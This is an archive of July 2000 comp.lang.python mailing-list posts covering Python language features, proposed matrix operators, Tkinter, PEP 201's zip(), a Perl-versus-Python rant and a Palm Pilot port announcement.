From fiona at sitegnome.com  Mon Jul 10 03:26:48 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Mon, 10 Jul 2000 17:26:48 +1000
Subject: Python article in webreview.com
Message-ID: <39697AB8.2EDBA42B@sitegnome.com>

I stumbled across this article today and didn't see it mentioned in the
newsgroup, thought people might be interested to check it out.

"Five Minutes to a Python CGI" -

http://webreview.com/pub/2000/07/07/feature/index02.html?wwwrrr_20000707.txt


From thomas at cintra.no  Thu Jul 20 02:31:19 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Thu, 20 Jul 2000 06:31:19 GMT
Subject: CDDB
References: <3976402D.9B957E2F@uniserve.com>
Message-ID: <39769c93.3100948@news.online.no>

I believe it`s allready been done. Look at www.vex.net/parnassus for
cddb. 

OR ???

Thomas

On Wed, 19 Jul 2000 16:56:29 -0700, Bob van der Poel
<bvdpoel at uniserve.com> wrote:

>
>Has anyone converted the cddb code which calulates the cddb id and track
>timing for a cd from C to python? Looks like it should be possible
>without too much work...I was going to try this myself, but figured I'd
>ask before I started...
>
>Thanks.



From nowonder at nowonder.de  Fri Jul 28 03:50:00 2000
From: nowonder at nowonder.de (Peter Schneider-Kamp)
Date: Fri, 28 Jul 2000 07:50:00 +0000
Subject: getting back None (was: Re: Perl is worse! (was: Python is Wierd!))
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <Ja8g5.18900$ga2.508345@newsread2.prod.itd.earthlink.net> <slrn8o25nr.e7.grey@teleute.rpglink.com>
Message-ID: <39813B28.84AC9146@nowonder.de>

Steve Lamb wrote:
> 
>     If you could get None back (which you can so long as you assigned None to
> something else before reassigning it) there can be some practical applications
> to that.

There is no need to assign None to something before assigning to None.

>>> None=1
>>> if None:
...   print "hi"
...
hi
>>> del None
>>> if None:
...   print "hi"
...
>>> del None
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
NameError: None

just-delete-it-and-be-happi-ly y'rs
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From R.M.Everson at ex.ac.uk  Mon Jul 24 08:59:23 2000
From: R.M.Everson at ex.ac.uk (R.M.Everson)
Date: 24 Jul 2000 13:59:23 +0100
Subject: Discussion: new math operators
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <slrn8nhu0m.qn.hzhu@rocket.knowledgetrack.com> <Kp7e5.8550$4p3.62759@news-server.bigpond.net.au> <slrn8ni31s.116.hzhu@rocket.knowledgetrack.com>
Message-ID: <ye1u2df8z10.fsf@ax.ex.ac.uk>

Neil Hodgson <neilh at scintilla.org> wrote:
  >> As one of the more reactionary Pythoneers with regard to syntax
  >> changes and as someone who is unlikely to ever need to use the
  >> new operators, I say the braced operators are the best.

Huaiyu Zhu <hzhu at knowledgetrack.com> writes:
   > I just posted a summary that dismissed this idea before seeing
   > recent two posts favoring brace based operators.  It's becoming
   > increasingly obvious that most discussants here favor this. Yes,
   > I agree with all the advantages of this.

   > Now the questions are:
   > 1. How do we test reactions from people who do not read this
   >    thread?  Anyone volunteer to give a try?

   > 2. How important does the possible future extension play in this?
   >    What considerations should be put in this?

   > 3. If there could be future calculus of operators, would we now
   >    favor (*)=
   > or (*=) for augmented assignment?

I've been following this thread for a while.  As a Matlab user, I am
quite comfortable with the .op notation and could certainly live with
the @op variant, although I prefer ~op as being less dense and
P***-ish.  These have the (distinct) advantage of being quite
straight-forward to implement in the very short term.

However, I certainly agree with the arguments for (op) except in one
respect.  As Huaiyu demonstrated in an earlier post, I find that style
very difficult to parse visually, particularly  anything involving
parentheses to group expressions.  Easy visual parsing is a
prerequisite for this sort of application where there is a good deal
of interactive, exploratory development: it's one of the things that
makes Python (and Matlab) a pleasure.

Most of the confusion arises because () are already over-used (for
grouping, forcing precedence, enclosing tuples, enclosing function
arguments, and probably more).  How about a different pair of
delimiter characters to enclose the operator?  I would rule out {} and
[] as they also have quite specific meanings already.  

That leaves <op>

Two possible objections:
  1.  Ambiguity with greater/less than.  I haven't thought of any
      situations that couldn't be resolved by a decent parser.
  2.  It looks a bit like bra and ket, but isn't.


I would greatly prefer this syntax to (op).

Richard.

-- 
Richard Everson.
Department of Computer Science, Exeter University    Voice: +44 1392 264065
R.M.Everson at ex.ac.uk                                   Sec: +44 1392 264061
http://www.dcs.ex.ac.uk/academics/reverson             Fax: +44 1392 264067


From olivierS.dagenaisP at canadaA.comM  Fri Jul  7 19:06:58 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Fri, 07 Jul 2000 23:06:58 GMT
Subject: Newbie: Development plaform
References: <20000707190803.4740.qmail@web210.mail.yahoo.com>
Message-ID: <mot95.65290$HK2.1056592@news20.bellglobal.com>

I was also looking for something like so, and I decided to go with:

GUI:  wxPython (wxWindows for Python): http://www.wxpython.org
DB:   Gadfly http://www.chordate.com/gadfly.html
Distribution:  Not sure yet, but right now, I think I will leave it up to my
users to install Python, wxPython and Gadfly, and then my software which
will update itself through the internet.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Demos Economacos" <eaganhills at yahoo.com> wrote in message
news:20000707190803.4740.qmail at web210.mail.yahoo.com...
> Hello,
>
> I am comtemplating development of a system that will
> have to run on Linux, Win and Mac.
>
> My questions are:
> What GUI tool and Database (< 100,000 recs) would you
> recommend?
> How to distribute programs to users (< 100)
>
> Thanks
>
> Demos
>
>
>
>
> __________________________________________________
> Do You Yahoo!?
> Send instant messages & get email alerts with Yahoo! Messenger.
> http://im.yahoo.com/
>




From gmcm at hypernet.com  Mon Jul  3 08:34:51 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 03 Jul 2000 12:34:51 GMT
Subject: slicing string
References: <00Jul3.130616eest.119043@sister.tecnomen.fi>
Message-ID: <8F665CDFAgmcmhypernetcom@199.171.54.154>

Jarkko Veijalainen wrote: 

>I'm real newbie with Python. I started learnig Python just last week. I
>have a problem slicing a string, imported from file. can anyone help me
>with simple solution. Input string follows this pattern:
>
> attr=value , attr2=value2, attr3= , attr4=value2. 
>
>I have made an Object class, where all attributes are class variables.
>How can i slice that sring and store those att=value pairs in my object?

First part is easy:
import string
pairs = string.split(s, ',')
for pair in pairs:
  tokens = string.split(pair, '=')
  if len(tokens) == 2:
    key = string.strip(tokens[0])
    val = string.strip(tokens[1])
    # see below
  else:
    # not sure what you want to do here

If I take you literally, then I would say:
    Object.key = val

but I suspect you want a line at the top:
o = Object()
and then
    o.key = val

- Gordon


From richard_chamberlain at ntlworld.com  Mon Jul 10 18:33:10 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Mon, 10 Jul 2000 23:33:10 +0100
Subject: clipboard
References: <8kddiq$8oc$1@nnrp1.deja.com> <8kdeae$9fv$1@nnrp1.deja.com>
Message-ID: <Y8sa5.10253$_O.174557@news2-win.server.ntlworld.com>

Hi Keith,

content=root.selection_get()

Richard

Keith Murphy <kpmurphy at my-deja.com> wrote in message
news:8kdeae$9fv$1 at nnrp1.deja.com...
> In article <8kddiq$8oc$1 at nnrp1.deja.com>,
>   Keith Murphy <kpmurphy at my-deja.com> wrote:
> > how do you read from / write to the system clipboard from Tkinter?
> i'm
> > on a unix machine, if that matters.  Thanks,
> >
> > -->keith
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.
> >
>
> i've found out that...
>
> >>> root.clipboard_clear()
> >>> root.clipboard_append('python rules!')
>
>
> ... places text on the system clipboard, but how do you paste?
> thanks...
>
> -->keith
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From gmcm at hypernet.com  Sun Jul  9 22:23:59 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 10 Jul 2000 02:23:59 GMT
Subject: Namespace weirdness
References: <3968E1B0.B6E6F3E9@yahoo.com>
Message-ID: <8F6CECA93gmcmhypernetcom@199.171.54.194>

Paul Winkler wrote:

>Hi,
>
>I think this is impossible... but is there a way for an object to
>know what its parent namespace is?
>
>I'm not sure if I phrased that correctly. Here's the simplest code I
>can that demonstrates the idea.
>
>class Food:
>    def __init__(self, attr1):
>        self.attr1 = attr1
>    class BodyPart:
>        def do_it(self):
>            # This next line is a stand-in for what I want...
>            print my_parent_namespace.attr1 

Python doesn't nest class definitions (or function defs) in a way that is 
particularly interesting. Your code creates a class object which is 
accsessible as Food.BodyPart, but BodyPart has no idea it was defined 
inside Food. As far as it's concerned, it is toplevel.

But there is absolutely no cannibalism in Python. None at all.

>I'm pretty new to OO design in general, so it could be that I'm nuts
>and there's no good reason to ever want to do this...

OO means different things to different people. Some languages make a big 
deal out of this kind of thing. Python doesn't.

When I say "none at all", I mean, of course, there's only a reasonable 
level of these kinds of incidents....

-Gordon


From bjorn at roguewave.com.bbs  Mon Jul 17 15:10:05 2000
From: bjorn at roguewave.com.bbs (bjorn at roguewave.com.bbs)
Date: 17 Jul 2000 19:10:05 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRMLU$l9q@openbazaar.net>

Huaiyu Zhu wrote:

[snip]
 
> As to the claim that additional operators for linear algebra is somehow
> comparable to the special syntaxes/quirks of various programming languages,
> no real argument has been presented so far.  It's more like: If I don't care
> and don't use such things, they must belong to a special domain and be
> somehow comparable to some other things that I do know and dislike.

On the contrary. The argument is something like the following:

 - Python is a general purpose language, and as such it can't
   support special case syntax for Matrix/cgi/xml/db programming.
   (special syntax has previously been requested for both cgi and
   db programming).
 - The proposal is to add a handful of operators that would only
   have meaning in this one domain.
   - the criteria for addition to the core is something that is
     generally useful for a large segment of the community.
     (and it's your job to convince us of it, not ours to
     convince you that it isn't -- many more people would like
     to see Stackless in the core, but that's not going to happen
     anytime soon either...)
   - that many problems can be reduced to matrix operations is
     a non-argument, since the same is true of functional/
     procedural/oo/predicate programming.
 - There are allready ways of performing the required tasks in
   Python, so there is no absolute need to add this to the core.
 - Other straight forward solutions has been proposed including
   list comprehensions and Moshe Zadka's elementwise class
   approach.

> On the other hand, alternative arguments based on analysis of functionality,
> overall design, history of evolution and possible future extension, etc,
> would carry some real persuasive weight.

If you really want to convince people, I would like to see examples of
how adding these operators would make working in other domains easier
(directly, not through translation through linear algebra).

-- bjorn


From weeks at golden.dtc.hp.com  Mon Jul 31 21:47:16 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 1 Aug 2000 01:47:16 GMT
Subject: experts disagree on "call-by-reference"
References: <8m29o0$p9g$2@news.dtc.hp.com> <B5AA2FB3.6F04%dgoodger@bigfoot.com> <m2lmyjrr7e.fsf@mycroft.actrix.gen.nz>
Message-ID: <8m5a74$gp1$1@news.dtc.hp.com>

Paul Foley (see at below) wrote:
: Greg Weeks has consistently failed to understand that the meaning he
: wants to apply to the terms "call by value" and "call by reference"
: seems to be somewhat at odds with what everyone else means by those
: terms; I'm sure the authors he quoted wouldn't actually disagree at
: all if you asked them (i.e., I'm quite confident that each and every
: one of them understands what's actually going on)

Of course.  We *all* know how the various programming languages behave.
(Well, most of us anyway.)  My main point was that what some people call
one thing (eg, "call by reference") is called by others something else (eg,
"call by reference").

: Yes, exactly.  "Pass by whatever" has never really applied to
: Lisp-like call semantics, Greg Weeks' protestations about "the old way
: of speaking" notwithstanding.

Again, these are words that you like to use.  Winston and Sussman like
different words (eg, that Lisp is call by value).  Are you saying that they
are flat-out wrong to use those words?


Greg


From chris_barker at my-deja.com  Tue Jul 18 15:59:02 2000
From: chris_barker at my-deja.com (chris_barker at my-deja.com)
Date: Tue, 18 Jul 2000 19:59:02 GMT
Subject: In-memory file class?
Message-ID: <8l2ctp$8i3$1@nnrp1.deja.com>

IO'm looking for an in-memory file-like class. What I need is to create
something that I can write to and read firom, with the same methods as a
file, but that stays in memory. I would like to be able to pass one of
these to functions that expect a file object.

At the moment, I need it so that I can create data file that I can put
on an ftp server with ftplib, but ftp lib expects a file object, and I
don't want to have to create a file on disk, just so that I can copy it
to the ftp site and destroy it.

For this purpose, all I need is a readline() method, which I can
impliment pretty easily. I was doing just that, when I realised that
this was a handy enough thing that someone has probably allready done
it.

thanks,

-Chris
cbarker at jps.net


Sent via Deja.com http://www.deja.com/
Before you buy.


From tim.hochberg at ieee.org  Mon Jul 17 16:46:42 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Mon, 17 Jul 2000 20:46:42 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735193.C8A6C311@prescod.net> <slrn8n6m1n.qp.hzhu@rocket.knowledgetrack.com> <8kvocr$5mq$1@eeyore.INS.CWRU.Edu>
Message-ID: <SgKc5.29585$ll.198222@news1.rdc1.az.home.com>

"Kevin Jacobs" <jacobs at darwin.epbi.cwru.edu> wrote in message

[SNIP]

> Silly idea 1:
>
>   Until add-on Python grammar modules are available, what about a
PyAlgebra
>   evaluator module.  For a precedent, see regular expressions.  The
>   difference is that linear-algebra syntax can be made too Python-like for
>   some tastes.
>
>   e.g.:
>
>   import PyAlgebra
>
>   PyAlgebra.run(r'A = (A .* B)\C')
>   e = PyAlgebra(r"D = A'*B")
>   e.run() # or e()
>
> Admittedly, its not perfect, nor optimally compact, but it is no longer
> encumbered by having to support the full Python grammar and is free to
> redefine as much as necessary.

Interestingly, an idea very similar to this was floated in the NumPy
community a couple years ago, but for entirely different reasons. The
motivation for this at the time was in order to support more efficient
matrix operations (eliminating intermediate results and such) and possibly
compiling the expression to native code. Digging through some of the NumPy
archives would probably reveal some interesting discussion of this possibly
not so silly idea.

-tim





From aahz at netcom.com  Tue Jul 18 16:56:23 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 18 Jul 2000 20:56:23 GMT
Subject: Duplicates again
References: <397458FF.E5E88361@VerizonWireless.com>
Message-ID: <8l2g9n$f97$1@slb7.atl.mindspring.net>

In article <397458FF.E5E88361 at VerizonWireless.com>,
Bill Scherer  <Bill.Scherer at VerizonWireless.com> wrote:
>
>It's happening again, duplicates by the dozen.

There's a misconfigured news server somewhere.  Given that I'm only
having this problem on c.l.py, I'm pretty sure the problem is somebody's
home box set up to archive c.l.py or something.  IIRC, the problem last
time was that the Message-ID had its case changed, so it was no longer
unique for properly configured news servers.  I didn't bother checking
this time to find out.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From bjorn at roguewave.com  Wed Jul 19 13:12:32 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Wed, 19 Jul 2000 11:12:32 -0600
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <u8zuzp0n7.fsf@ctwd0143.fitlinxx.com> <3974E8CD.55215FD9@inrialpes.fr>
Message-ID: <3975E180.1AFD30D@roguewave.com>

Vladimir Marangozov wrote:

[snip]

> The reverse wasn't true and the python-dev summary documents are intended
> to inform a broader audience, notably the Python community, on its
> current activities. The natural place for discussing all topics brought
> on python-dev is the comp.lang.python newsgroup. This is also the place
> where the python-dev members are looking for feedback. For instance,
> read the PEP documents -- they summarize recent and past proposals for
> various enhancements. All python-dev members are interested in seeing
> them discussed by the community. So don't hesitate to take a stance on
> a PEP if you think that you could share an educated opinion.

I think the PEPs are a great idea, but it would be even better if they
were more accessible... How about putting them up on the beopen or
python.org site? (That way the faq can refer to them for recurring
discussions with all the arguments archived in the PEP...)

-- bjorn



From aahz at netcom.com  Thu Jul 13 10:27:26 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 13 Jul 2000 14:27:26 GMT
Subject: OSCON help? (Second try)
Message-ID: <8kkjke$l59$1@slb6.atl.mindspring.net>

I'm giving a presentation at OSCON next week on threads in Python.  The
presentation is Thursday, 7/20, at 3:30.  I'm hearing-impaired, so I'd
like some help transcribing questions from the audience.  Emile van
Sebille has already kindly offered to help, but I'd like at least one
more volunteer as backup.  Any takers?
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"do you want my self-identities alphabetically, chronologically, or in
random order?"  -- Misha


From no at bo.dy  Mon Jul 24 08:39:22 2000
From: no at bo.dy (nobody)
Date: Mon, 24 Jul 2000 07:39:22 -0500
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com> <vnLd5.27741$r9.839310@news.easynews.com> <DSOd5.25099$DZ4.83839@news.corecomm.net> <slrn8nhj0s.jr0.cjc26@synecdoche.sowrong.org> <jlie5.28024$DZ4.107957@news.corecomm.net> <slrn8nm1au.pod.cjc26@synecdoche.sowrong.org>
Message-ID: <2OVe5.11$o45.2121@news.corecomm.net>

cjc26 at nospam.cornell.edu (Cliff Crawford), in
<slrn8nm1au.pod.cjc26 at synecdoche.sowrong.org>:

> Oh, right..I should've explained it better :)  A compiled regexp is an
> object which has match() and search() methods, so instead of
>     match=re.match(reg_c, test)
> you want to do
>     match=reg_c.match(test)

oy. i knew i was stupid, but now i know just *how* stupid. thanks, i
guess. X-)

> Also, in your example you'd probably want to use search() rather than
> match(), which only succeeds if the regexp matches the beginning of the
> string (i.e. it acts as if there is an implicit '^' at the beginning of
> the regexp).

hm. any difference in performance, or can i just as well make the caret
explicit and standardize myself on match?



From tim_one at email.msn.com  Thu Jul 27 15:45:47 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Thu, 27 Jul 2000 15:45:47 -0400
Subject: [Python-Dev] PEP 201, zip() builtin
In-Reply-To: <14720.35958.632383.574511@anthem.concentric.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEHBGMAA.tim_one@email.msn.com>

[Barry A. Warsaw]
> -------------------- snip snip --------------------
> PEP: 201
> Title: Parallel Iteration

Could we please change "Parallel" to, e.g., "Lockstep" throughout?  Greg
Wilson correctly pointed out that "parallel" in the context of loops means
something very different to the scientific branch of the Python community.
Easier to fix this now that after it's spread to the docs.

>     ...
>     However, for-loops iterate over only a single sequence, and it
>     is often desirable to loop over more than one sequence, in a
>     lock-step, "Chinese Menu" type of way.

Just as you realized how inappropriate "parallel" was right here <wink>.

>         # find the length of the shortest sequence
>         shortest = min(*map(len, args))

Clearer as

>         shortest = min(map(len, args))

However, this implies that all sequences must tell the truth about their
lengths, but the iteration protocol actually terminates via a sequence
raising IndexError.  I believe we want zip to follow the iteration protocol,
in effect breaking out of the outer loop as soon as some s[i] raises
IndexError.  This was agreed to by all (incl. the BDFL) in some other year's
debates over this.

>       prefers zip() due to it's Haskell[2] heritage.  See version 1.7

"its", not "it's"

>     - Lazy evaluation.  An earlier version of this PEP proposed that
>       zip() return a built-in object that performed lazy evaluation
>       using __getitem__() protocol.  This has been strongly rejected
>       by the BDFL in favor of returning a real Python list.  If lazy
>       evaluation is desired in the future, the BDFL suggests an xzip()
>       function be added.

Which he'll then fight tooth and nail <wink>.

> ...

Nice job, Barry!  Thank you.





From Richard.Jones at fulcrum.com.au  Thu Jul 27 23:35:47 2000
From: Richard.Jones at fulcrum.com.au (Richard Jones)
Date: Fri, 28 Jul 2000 13:35:47 +1000
Subject: Perl is worse! (was: Python is Wierd!) 
In-Reply-To: Message from Steve Lamb of 2000-Jul-28 2:56:21,
            <slrn8o1tee.vnr.grey@teleute.rpglink.com> 
Message-ID: <200007280335.NAA30931@envy.fulcrum.com.au>

[Steve Lamb]
> On Fri, 28 Jul 2000 11:17:31 +1000, Anthony Baxter <anthony at interlink.com.au>
> wrote:
> >Euw! No, the "oh, I know what you want that to be, I'll change it for you" i
> s
> >my #1 all-time perl hate. 
> 
>     Why?  Has it ever messed up?  It does exactly what you tell it to unlike
> the babysitting languages that barf with "Oh, you don't know what you're doin
> g
> so I won't let you do it."  
> 
>     Before you answer know the difference between it messing up and /you/, as
> the programmer, messing up.  
> 
> [snip]
> 
> >Particularly when combined with magic linenoise - use the wrong bit of
> >linenoise, and suddenly your large complex datastructure is an int. Yaaay.
> 
>     The above example applies here.  Once you know what is going on it is all
> fairly straight forward.  BTW, your large, complex datastructure isn't an int
> .
> There is no int unless you use int(), just like in Python, or try to stuff it
> into someplace that expects something that could be called an int, in which
> case it is your fault as a programmer, not the languages, and has nothing to
> do with the symbols.

  Uh, no, your large complex data structure can easily converted into an int 
(or just the last element in the structure if the situation is slightly 
different) if it's referred to in a scalar context accidentally (in some cases 
by getting the line-noise wrong). Yes, that would be the programmer's fault - 
but the point here is that Perl's an overly complex language that allows too 
much freedom to fuck up a complex program dealing with complex data structures.

  Programming is about being explicit in telling the computer what you want it 
to do. When a subtle variation in your code radically changes the outcome, 
that's annoying as hell to a programmer. And the problem being identified here 
is that Perl has hundreds of these subtle variations built in that radically 
change the outcome of a program - not to mention not being obvious in some 
cases like:

    $a = \($x, $y, $z);

 ... you'd think that was equivalent to:

    @a = ($x, $y, $z);
    $a = \@a;

 .... or,

    $a = [$x, $y, $z];

 ... but it isn't, it's really:

    $a = (\$x, \$y, \$z);

... which is _of course_ equivalent to:

    $a = \$z;

... and the killer being that it's different to:

    @a = \($x, $y, $z);
    $a = scalar(@a);

... as one would perhaps expect (yes, scalar behaves differently in different 
contexts!).

   Yeah, that's a good language at work there.

   I've now got 2 years of experience in developing Perl _applications_ using 
complex Object Oriented (hah! OO! hah!) data structures. I'm leaving this job 
now in frustration and working in a Python development house. The killer is 
that I'm interviewing a lot of programmers trying to hire a new Perl 
application developer - and I'm rapidly forming the opinion that they're a very 
very rare breed (if they exist at all). That is, people who say they can write 
Perl applications and can actually understand some of the issues in 
manipulating complex data structures in Perl and not just writing 100-500 line 
CGI scripts. That's not application writing kiddies, that's just hacking shit 
together and calling it a program. And code re-use isn't just copying the first 
fucking half of the script to the next one you write. I honestly believe that 
Perl is creating a very dangerous breed of undisciplined programmers, and I'm 
worried.

   And Perl OO. Hah! There's maybe ... what, 0.000001% of the total Perl 
population who have ever written a class package? And maybe 0.01% of them who 
can do anything beyond bless $data, $class; where $class only has functions? 
That is, they've read Conway's book and knew more than a tenth of it before 
reading it?


        Richard





From olivierS.dagenaisP at canadaA.comM  Tue Jul  4 22:52:39 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 05 Jul 2000 02:52:39 GMT
Subject: Q:  Client-server architecture
Message-ID: <Xpx85.37285$W35.821323@news20.bellglobal.com>

What modules [or references] are there that explain or implement
simultaneous, __secure__ operations on a server?

I looked through http://www.python.org/topics/web/  and it seems to only
cover HTTP, not HTTPS (using SSL or some other, secure protocol).

I want to implement seemingly concurrent, remote database access and if I
can queue the requests to the server, the server could then process
requests, one at a time, and then "call back" each client with the results.

I'm thinking I don't want to write the server side software using a CGI
script, since the database package I'm looking into using (Gadfly) isn't
designed for concurrent access, unless I don't understand how CGI works and
it is synchronous?  (I have only written very simple CGI scripts in Perl and
C, so I'm sort of new to this)

Any help (including corrections in my thinking of CGI or hints on handling
many, simultaneous requests) would be appreciated.  I'd like to write both
the client and the server in Python.

Thanks!

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III




From m.faassen at vet.uu.nl  Sat Jul 29 11:51:51 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 29 Jul 2000 15:51:51 GMT
Subject: Python 3000 ?
References: <8lttuq$9c8$1@serv1.albacom.net> <8luraf$e2p$1@slb1.atl.mindspring.net>
Message-ID: <8luuin$ags$4@newshost.accu.uu.nl>

Aahz Maruch <aahz at netcom.com> wrote:
> In article <8lttuq$9c8$1 at serv1.albacom.net>,
> Patrick Fichou <fichou at katamail.com> wrote:
>>
>>What is(will be) Python 3000 ?

> Standard answer:

[snip standard answer]

It's amazing how often this question is asked. What is causing all these
people to ask this question? Some web page being extremely mysterious
about Python 3000 somewhere?

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From moshez at math.huji.ac.il  Thu Jul 20 15:18:26 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Thu, 20 Jul 2000 22:18:26 +0300 (IDT)
Subject: FAQ maintenance with Python ...
In-Reply-To: <Pine.A41.4.05.10007201310050.72384-100000@node1.unix.Virginia.EDU>
Message-ID: <Pine.GSO.4.10.10007202215110.17706-100000@sundial>

On Thu, 20 Jul 2000, Scott Witherell wrote:

> I'm setting up a web FAQ for my research lab and wanted to use Python.  I
> quickly found the FaqWiz and used that (with a couple minor modifcations).
> And it's great - except that it seems quite difficult to reorder the FAQ
> entries after they've been entered.  Everybody in the lab is just gonna
> throw stuff on this FAQ and I'm sure that a month or two down the road
> we'll have a much better idea of how we would like the FAQ organized.  So
> it seems likely that I'll want to do some fairly drastic reordering (both
> within category and across).

I'm sorry to throw my newly found religious beliefs at you, but well, you
asked for it. WikiWikiWeb (http://c2.com/wiki) is the answer to all your
troubles. I mean it. Try it and enjoy. If you have a Zope server anyway,
use Zwiki, otherwise use any of the Python over RCS wikis (there are loads
of links from http://c2.com/wiki?WikiWikiClones)

I'm using a modified version of PikiPiki which, among other things, works
over RCS, so you can do a manual undo. I'm not near it right now, but it
is really clean code, so you should have no troubles changing this.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From tgdeveloper at my-deja.com  Fri Jul 14 12:33:29 2000
From: tgdeveloper at my-deja.com (tgdeveloper at my-deja.com)
Date: Fri, 14 Jul 2000 16:33:29 GMT
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net>
Message-ID: <8knfco$jsq$1@nnrp1.deja.com>

For me the top language constructs, in terms of being useful in daily work
are:

1. dictionaries

2. lists / tuples

3. for item in list:

4. "blah blah %s blah %d blah" % (word, number)

5. exception handling (try/except/raise etc.)

6. the fact that data types can be nested (e.g. a dictionary whose key is a
string and whose value is another dictionary, etc.)

7. The "traceback" behavior for reporting errors.  This makes debugging easy.



Sent via Deja.com http://www.deja.com/
Before you buy.


From jwbnews at scandaroon.com  Mon Jul 24 21:24:56 2000
From: jwbnews at scandaroon.com (John W. Baxter)
Date: Mon, 24 Jul 2000 18:24:56 -0700
Subject: IEEE 754
References: <LNBBLJKPBEHFEDALKOLCAEINGLAA.tim_one@email.msn.com> <8lifaa$1bb$1@agate.berkeley.edu> <jwbnews-2FB2DC.15315324072000@news.olympus.net> <8liiba$1mh$1@agate.berkeley.edu> <slrn8npp56.n29.wtanksle@dolphin.openprojects.net>
Message-ID: <jwbnews-B9543B.18245624072000@news.olympus.net>

In article <slrn8npp56.n29.wtanksle at dolphin.openprojects.net>, 
wtanksley at bigfoot.com wrote:

> > - You mean I may someday be able to put aside my answers to the "why 
> > - doesn't 2/10 print as 0.2 as we all know it should?" sorts of 
> > questions?
> 
> I'm not sure whether you mean that 2/10.0 isn't exactly 0.2, or whether
> 2/10 is 0.

Sorry, I meant the former, but of course forgot to say 2.0/10 or 2/10.0 
(as I've been known to do in real code).

  --John

-- 
John W. Baxter   Port Ludlow, WA USA  jwbnews at scandaroon.com


From theebh at yahoo.com  Mon Jul 17 21:43:21 2000
From: theebh at yahoo.com (Jonathan)
Date: Tue, 18 Jul 2000 01:43:21 GMT
Subject: newbie unimpressed...
References: <8kvp81$9q1$1@nnrp1.deja.com>
Message-ID: <8l0cnm$oeg$1@nnrp1.deja.com>

In article <8kvp81$9q1$1 at nnrp1.deja.com>,
  sharkey3 at my-deja.com wrote:
> I have much experience in tcl and perl, and I have finally found a
good
> project to learn python with.  Unfortunately, I am very frustrated so
> far with the language.  Although maybe it's just with the
documentation.
>
> I'm serious.  The documentation really sucks.
> Example:  where is the % operator documented for strings?
>

I'm a newbie myself and i happen to come across those formatting
operators while reading the "Learning Python" book. Grab a copy of it;
though it's not a reference book, at least it gives you an overall idea.

regards,


Sent via Deja.com http://www.deja.com/
Before you buy.


From collins at rushe.aero.org  Mon Jul 10 11:59:01 2000
From: collins at rushe.aero.org (JEFFERY COLLINS)
Date: Mon, 10 Jul 2000 08:59:01 -0700
Subject: [ANN] Python port to Palm Pilot
In-Reply-To: <3966C005.5EF656C6@smartchat.net.au>
References: <200007070140.SAA31035@wd264.aero.org>
	<3966C005.5EF656C6@smartchat.net.au>
Message-ID: <200007101546.IAA09887@rushe.aero.org>

Download the .zip file instead.  Apparently, downloading
the .prc files using a browser corrupts the files.

Jeff

KB Ang writes:
 > Hi there all,
 > Just a cautionary note.
 > I have Palm OS 3.3 running on a Palm V.
 > I installed pylib and python.prc on it.
 > 
 > It crashed my Palm ie needed to do a "hard" reset.
 > A soft one did nothing so suggest that
 > u back up before trying anything.
 > 
 > Chai
 > 
 > 
 > collins at rush.aero.org wrote:
 > > 
 > > Announcing the alpha port of Python-1.5.2+ to the Palm Pilot,
 > > available for download after 8AM PDT July7, 2000 at
 > > http://www.isr.uci.edu/projects/sensos/python/.  This release includes
 > > the modified Python source and tools for creating Palm applications
 > > from Python modules.  As a convenience, we include the gnu toolchain
 > > required to support the Python distribution on the Palm Pilot.
 > > We emphasize that this is an alpha release and is deficient in many
 > > respects.  We are releasing it now to stimulate interest in Python on
 > > small computing platforms.
 > > 
 > > Enjoy!
 > 
 > -- 
 > +-------
